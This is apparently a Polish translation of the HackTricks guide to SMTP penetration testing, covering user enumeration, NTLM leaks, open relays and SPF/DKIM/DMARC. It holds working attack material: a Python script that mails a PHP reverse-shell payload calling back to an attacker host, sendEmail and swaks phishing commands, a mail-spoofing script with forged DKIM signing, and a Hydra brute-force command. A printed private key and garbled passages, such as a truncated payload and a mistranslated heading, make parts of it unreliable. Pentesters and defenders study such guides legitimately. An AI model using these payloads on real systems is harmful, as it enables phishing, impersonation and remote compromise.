.. | ||
README.md | ||
smtp-commands.md | ||
smtp-smuggling.md |
25,465,587 - Testowanie penetracyjne SMTP/s
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
Natychmiastowe dostępne środowisko do oceny podatności i testowania penetracyjnego. Uruchom pełne testowanie penetracyjne z dowolnego miejsca za pomocą 20+ narzędzi i funkcji, które obejmują od rozpoznania po raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.
{% embed url="https://pentest-tools.com/" %}
Podstawowe informacje
Protokół Simple Mail Transfer Protocol (SMTP) jest protokołem wykorzystywanym w pakiecie TCP/IP do wysyłania i odbierania e-maili. Ze względu na ograniczenia w kolejkowaniu wiadomości po stronie odbiorcy, SMTP jest często używany w połączeniu z POP3 lub IMAP. Te dodatkowe protokoły umożliwiają użytkownikom przechowywanie wiadomości w skrzynce serwera i okresowe pobieranie ich.
W praktyce jest powszechne, że programy pocztowe używają SMTP do wysyłania e-maili, a do odbierania korzystają z POP3 lub IMAP. W systemach opartych na Unixie, sendmail wyróżnia się jako najczęściej używany serwer SMTP do celów e-mailowych. Komercyjny pakiet znany jako Sendmail obejmuje serwer POP3. Ponadto, Microsoft Exchange dostarcza serwer SMTP i oferuje opcję dołączenia obsługi POP3.
Domyślny port: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
Nagłówki EMAIL
Jeśli masz okazję sprawić, że ofiara wyśle Ci e-mail (na przykład za pośrednictwem formularza kontaktowego na stronie internetowej), zrób to, ponieważ możesz dowiedzieć się o wewnętrznej topologii ofiary, przeglądając nagłówki wiadomości e-mail.
Możesz również otrzymać e-mail od serwera SMTP, próbując wysłać na ten serwer e-mail do nieistniejącego adresu (ponieważ serwer wyśle do atakującego e-mail NDN). Upewnij się jednak, że wysyłasz e-mail z dozwolonego adresu (sprawdź politykę SPF) i że możesz odbierać wiadomości NDN.
Powinieneś także spróbować wysłać różne treści, ponieważ możesz znaleźć bardziej interesujące informacje w nagłówkach, takie jak: X-Virus-Scanned: by av.domain.com
Powinieneś wysłać plik testowy EICAR.
Wykrycie AV może umożliwić Ci wykorzystanie znanych podatności.
Podstawowe działania
Pobieranie banera/Podstawowe połączenie
SMTP:
nc -vn <IP> 25
SMTPS:
SMTPS (Secure SMTP) to rozszerzenie protokołu SMTP, które dodaje warstwę szyfrowania SSL/TLS dla bezpiecznej komunikacji. W przeciwieństwie do SMTP, który działa na porcie 25, SMTPS działa na porcie 465. Aby przeprowadzić test penetracyjny SMTPS, można użyć narzędzi do testowania penetracyjnego, takich jak Nmap, Metasploit lub SMTP User Enum.
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
Znajdowanie serwerów MX organizacji
dig +short mx google.com
Wyliczanie
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
NTLM Auth - Ujawnienie informacji
Jeśli serwer obsługuje uwierzytelnianie NTLM (Windows), można uzyskać wrażliwe informacje (wersje). Więcej informacji tutaj.
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
lub zautomatyzuj to za pomocą wtyczki nmap smtp-ntlm-info.nse
Nazwa wewnętrznego serwera - Ujawnienie informacji
Niektóre serwery SMTP automatycznie uzupełniają adres nadawcy, gdy wydane zostanie polecenie "MAIL FROM" bez pełnego adresu, ujawniając swoją wewnętrzną nazwę:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Podsłuchiwanie
Sprawdź, czy podsłuchujesz jakieś hasło z pakietów do portu 25
Atak siłowy na uwierzytelnianie
Wyliczanie nazw użytkowników za pomocą ataku siłowego
Uwierzytelnienie nie zawsze jest wymagane
RCPT TO
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
VRFY
VRFY (Verify) to polecenie SMTP, które służy do weryfikacji istnienia użytkownika na serwerze poczty elektronicznej. Atakujący może wykorzystać to polecenie do zbierania informacji o użytkownikach na serwerze, co może pomóc w dalszych atakach typu phishing lub inżynierii społecznej. Aby zabezpieczyć serwer SMTP przed atakami VRFY, zaleca się wyłączenie tego polecenia lub skonfigurowanie serwera tak, aby nie odpowiadał na żądania VRFY.
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
EXPN
EXPN
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
Narzędzia automatyczne
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
Natychmiastowa konfiguracja do oceny podatności i testów penetracyjnych. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują działania od rozpoznania po raportowanie. Nie zastępujemy testerów penetracyjnych - tworzymy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie dostępu i dobrą zabawę.
{% embed url="https://pentest-tools.com/" %}
Raporty DSN
Raporty powiadomień o statusie dostarczenia: Jeśli wyślesz e-mail do organizacji na nieprawidłowy adres, organizacja powiadomi, że adres był nieprawidłowy, wysyłając do ciebie e-mail z powrotem. Nagłówki zwróconego e-maila mogą zawierać potencjalne wrażliwe informacje (takie jak adres IP usług pocztowych, które współdziałały z raportami lub informacje o oprogramowaniu antywirusowym).
Komendy
Wysyłanie e-maila z konsoli Linux
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
Wysyłanie e-maila za pomocą Pythona
Kod Pythona tutaj
```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import syslhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587
create message object instance
msg = MIMEMultipart()
setup the parameters of the message
password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"
payload
message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250: print("[-]Connection Error") exit()
server.starttls()
Uncomment if log-in with authencation
server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## Uwodornienie SMTP
Uwodornienie SMTP pozwalało na ominięcie wszystkich zabezpieczeń SMTP (sprawdź następną sekcję, aby uzyskać więcej informacji na temat zabezpieczeń). Aby uzyskać więcej informacji na temat uwodornienia SMTP, sprawdź:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}
## Przeciwdziałanie podszywaniu się pod e-maile
Organizacje są chronione przed nieautoryzowanym wysyłaniem e-maili w ich imieniu poprzez zastosowanie **SPF**, **DKIM** i **DMARC** ze względu na łatwość podszywania się pod wiadomości SMTP.
**Pełny przewodnik dotyczący tych środków zaradczych** jest dostępny pod adresem [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
{% hint style="danger" %}
SPF [zostało "przestarzałe" w 2014 roku](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Oznacza to, że zamiast tworzyć rekord **TXT** w `_spf.domain.com`, tworzysz go w `domain.com` używając **tej samej składni**.\
Co więcej, aby ponownie wykorzystać poprzednie rekordy SPF, często można znaleźć coś w rodzaju `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}
**Sender Policy Framework** (SPF) to mechanizm, który umożliwia agentom przesyłającym pocztę (MTA) zweryfikowanie, czy host wysyłający e-mail jest autoryzowany poprzez zapytanie o listę autoryzowanych serwerów pocztowych zdefiniowanych przez organizacje. Ta lista, która określa adresy IP/zakresy, domeny i inne jednostki **upoważnione do wysyłania e-maili w imieniu nazwy domeny**, zawiera różne "**Mechanizmy**" w rekordzie SPF.
#### Mechanizmy
Z [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mechanizm | Opis |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Zawsze pasuje; używane dla domyślnego wyniku, np. `-all` dla wszystkich adresów IP, które nie pasują do poprzednich mechanizmów. |
| A | Jeśli nazwa domeny ma rekord adresu (A lub AAAA), który można przetłumaczyć na adres nadawcy, to pasuje. |
| IP4 | Jeśli nadawca znajduje się w określonym zakresie adresów IPv4, pasuje. |
| IP6 | Jeśli nadawca znajduje się w określonym zakresie adresów IPv6, pasuje. |
| MX | Jeśli nazwa domeny ma rekord MX przekierowujący do adresu nadawcy, to pasuje (czyli poczta pochodzi od jednego z serwerów poczty przychodzącej domeny). |
| PTR | Jeśli nazwa domeny (rekord PTR) dla adresu klienta znajduje się w danej domenie i ta nazwa domeny przekłada się na adres klienta (przekierowane potwierdzenie odwrotne DNS), pasuje. Ten mechanizm jest odradzany i należy go unikać, jeśli to możliwe. |
| EXISTS | Jeśli podana nazwa domeny przekłada się na dowolny adres, pasuje (bez znaczenia, na jaki adres się przekłada). Jest to rzadko używane. W połączeniu z językiem makr SPF oferuje bardziej złożone dopasowania, takie jak zapytania DNSBL. |
| INCLUDE | Odnosi się do polityki innej domeny. Jeśli polityka tej domeny zostanie zaakceptowana, ten mechanizm zostanie zaakceptowany. Jednak jeśli załączona polityka nie zostanie zaakceptowana, przetwarzanie będzie kontynuowane. Aby w pełni przekazać politykę innej domeny, należy użyć rozszerzenia przekierowania. |
| REDIRECT | <p>Przekierowanie to wskaźnik na inną nazwę domeny, która hostuje politykę SPF, umożliwiając wielu domenom współdzielenie tej samej polityki SPF. Jest to przydatne przy pracy z dużą liczbą domen, które współdzielą tę samą infrastrukturę e-mailową.</p><p>Polityka SPF wskazanej w mechanizmie przekierowania zostanie użyta.</p> |
Możliwe jest również zidentyfikowanie **Kwalifikatorów**, które wskazują **co należy zrobić, jeśli mechanizm zostanie dopasowany**. Domyślnie używany jest **kwalifikator "+"** (więc jeśli którykolwiek mechanizm zostanie dopasowany, oznacza to, że jest dozwolony).\
Zazwyczaj zauważysz **na końcu każdej polityki SPF** coś w rodzaju: **\~all** lub **-all**. Służy to do wskazania, że **jeśli nadawca nie pasuje do żadnej polityki SPF, e-mail powinien być oznaczony jako niezaufany (\~) lub odrzucony (-)**.
#### Kwalifikatory
Każdy mechanizm w polityce może być poprzedzony jednym z czterech kwalifikatorów, aby zdefiniować zamierzony wynik:
* **`+`**: Odpowiada wynikowi PASS. Domyślnie mechanizmy zakładają ten kwalifikator, co czyni `+mx` równoważnym z `mx`.
* **`?`**: Oznacza wynik NEUTRAL, traktowany podobnie jak NONE (brak konkretnej polityki).
* **`~`**: Oznacza SOFTFAIL, stanowiąc złoty środek między NEUTRAL a FAIL. E-maile spełniające ten wynik są zazwyczaj akceptowane, ale oznaczone odpowiednio.
* **`-`**: Oznacza FAIL, sugerując, że e-mail powinien być całkowicie odrzucony.
W nadchodzącym przykładzie przedstawiona jest **polityka SPF dla google.com**. Zauważ włączenie polityk SPF z różnych domen w ramach pierwszej polityki SPF:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Tradycyjnie było możliwe podrobienie dowolnej nazwy domeny, która nie miała poprawnego/żadnego rekordu SPF. Obecnie, jeśli e-mail pochodzi z domeny bez poprawnego rekordu SPF, prawdopodobnie zostanie automatycznie odrzucony/oznaczony jako niezaufany.
Aby sprawdzić SPF domeny, można skorzystać z narzędzi online, takich jak: https://www.kitterman.com/spf/validate.html
DKIM (DomainKeys Identified Mail)
DKIM jest wykorzystywany do podpisywania wychodzących e-maili, umożliwiając ich walidację przez zewnętrzne agenty przekazywania poczty (MTA) poprzez pobranie publicznego klucza domeny z DNS. Ten klucz publiczny znajduje się w rekordzie TXT domeny. Aby uzyskać dostęp do tego klucza, trzeba znać zarówno selektor, jak i nazwę domeny.
Na przykład, aby poprosić o klucz, niezbędne są nazwa domeny i selektor. Można je znaleźć w nagłówku e-maila DKIM-Signature
, np. d=gmail.com;s=20120113
.
Polecenie do pobrania tych informacji może wyglądać następująco:
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC poprawia bezpieczeństwo e-maili, bazując na protokołach SPF i DKIM. Określa zasady, które kierują serwerami poczty w obsłudze e-maili z określonej domeny, w tym sposób postępowania w przypadku niepowodzeń uwierzytelniania i gdzie wysyłać raporty dotyczące działań związanych z przetwarzaniem e-maili.
Aby uzyskać rekord DMARC, należy zapytać o subdomenę _dmarc
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
Tagi DMARC
Nazwa tagu | Cel | Przykład |
---|---|---|
v | Wersja protokołu | v=DMARC1 |
pct | Procent wiadomości poddanych filtrowaniu | pct=20 |
ruf | Adres URI do raportów forensycznych | ruf=mailto:authfail@example.com |
rua | Adres URI do raportów zbiorczych | rua=mailto:aggrep@example.com |
p | Polityka dla domeny organizacyjnej | p=quarantine |
sp | Polityka dla subdomen danej OD | sp=reject |
adkim | Tryb wyrównywania dla DKIM | adkim=s |
aspf | Tryb wyrównywania dla SPF | aspf=r |
Co z Subdomenami?
Z tutaj.
Musisz mieć oddzielne rekordy SPF dla każdej subdomeny, z której chcesz wysyłać wiadomości e-mail.
Poniższy tekst pierwotnie został opublikowany na stronie openspf.org, która kiedyś była świetnym źródłem informacji na ten temat.
Pytanie o Demona: Co z subdomenami?
Jeśli otrzymuję e-mail z pielovers.demon.co.uk i nie ma danych SPF dla pielovers, czy powinienem wrócić o jeden poziom i sprawdzić SPF dla demon.co.uk? Nie. Każda subdomena w Demon to inny klient, a każdy klient może mieć swoją własną politykę. Nie miałoby sensu, aby polityka Demona automatycznie dotyczyła wszystkich jego klientów; jeśli Demon chce tego dokonać, może skonfigurować rekordy SPF dla każdej subdomeny.
Dlatego zalecenie dla wydawców SPF jest takie: powinieneś dodać rekord SPF dla każdej subdomeny lub nazwy hosta, która ma rekord A lub MX.
Strony z rekordami wildcard A lub MX powinny również mieć rekord SPF wildcard, w postaci: * IN TXT "v=spf1 -all"
To ma sens - subdomena może być w zupełnie innym miejscu geograficznym i mieć zupełnie inną definicję SPF.
Otwarty Relay
Podczas wysyłania e-maili ważne jest zapewnienie, że nie zostaną one oznaczone jako spam. Często osiąga się to poprzez użycie serwera przekazywania, który jest zaufany przez odbiorcę. Jednak częstym wyzwaniem jest to, że administratorzy mogą nie być w pełni świadomi, które zakresy adresów IP są bezpieczne do zezwolenia. Brak zrozumienia może prowadzić do błędów w konfiguracji serwera SMTP, ryzyko często zidentyfikowane podczas ocen bezpieczeństwa.
Rozwiązaniem, którego niektórzy administratorzy używają, aby uniknąć problemów z dostarczaniem e-maili, zwłaszcza dotyczących komunikacji z potencjalnymi lub obecnymi klientami, jest zezwolenie na połączenia z dowolnego adresu IP. Dokonuje się tego poprzez skonfigurowanie parametru mynetworks
serwera SMTP tak, jak pokazano poniżej:
mynetworks = 0.0.0.0/0
Aby sprawdzić, czy serwer poczty jest otwartym przekaźnikiem (co oznacza, że mógłby przekazywać e-maile z dowolnego źródła zewnętrznego), powszechnie używane jest narzędzie nmap
. Zawiera ono specjalny skrypt przeznaczony do przetestowania tego. Polecenie wykonania szczegółowego skanu na serwerze (na przykład z adresem IP 10.10.10.10) na porcie 25 za pomocą nmap
to:
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
Narzędzia
- https://github.com/serain/mailspoof Sprawdź błędy konfiguracji SPF i DMARC
- https://pypi.org/project/checkdmarc/ Automatycznie pobierz konfiguracje SPF i DMARC
Wyślij Fałszywy Email
Lub możesz skorzystać z narzędzia:
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
{% hint style="warning" %}
Jeśli otrzymasz błąd przy użyciu biblioteki dkim python podczas parsowania klucza, możesz śmiało skorzystać z poniższego.
UWAGA: To tylko szybkie rozwiązanie tymczasowe, które pozwoli na szybkie sprawdzenie w przypadkach, gdy z jakiegoś powodu klucz prywatny openssl nie może być sparsowany przez dkim.
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
{% endhint %}
Możesz również zrobić to ręcznie:
{% tabs %} {% tab title="PHP" %}
# To wyśle niepodpisane wiadomości
mail("twoj_email@gmail.com", "Temat testowy!", "Cześć! To jest test", "Od: administrator@ofiara.com");
{% endtab %}
{% tab title="Python" %}
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
{% endtab %} {% endtabs %}
Więcej informacji
Znajdź więcej informacji na temat tych zabezpieczeń w https://seanthegeek.net/459/demystifying-dmarc/
Inne wskaźniki phishingu
- Wiek domeny
- Linki wskazujące na adresy IP
- Techniki manipulacji linkami
- Podejrzane (nietypowe) załączniki
- Uszkodzona zawartość e-maila
- Użycie wartości różnych od tych w nagłówkach e-maila
- Istnienie ważnego i zaufanego certyfikatu SSL
- Przesłanie strony do serwisów filtrowania treści internetowych
Wyciek danych poprzez SMTP
Jeśli możesz wysyłać dane za pomocą SMTP przeczytaj to.
Plik konfiguracyjny
Postfix
Zazwyczaj, jeśli zainstalowany, w /etc/postfix/master.cf
zawiera skrypty do wykonania na przykład gdy nowy e-mail zostanie odebrany przez użytkownika. Na przykład linia flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}
oznacza, że /etc/postfix/filtering
zostanie wykonany, jeśli nowy e-mail zostanie odebrany przez użytkownika mark.
Inne pliki konfiguracyjne:
sendmail.cf
submit.cf
Odnośniki
- https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
- https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
Natychmiastowe dostępne środowisko do oceny podatności i testów penetracyjnych. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują działania od rozpoznania po raportowanie. Nie zastępujemy testerów penetracyjnych - tworzymy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie dostępu do systemu i dobrą zabawę.
{% embed url="https://pentest-tools.com/" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.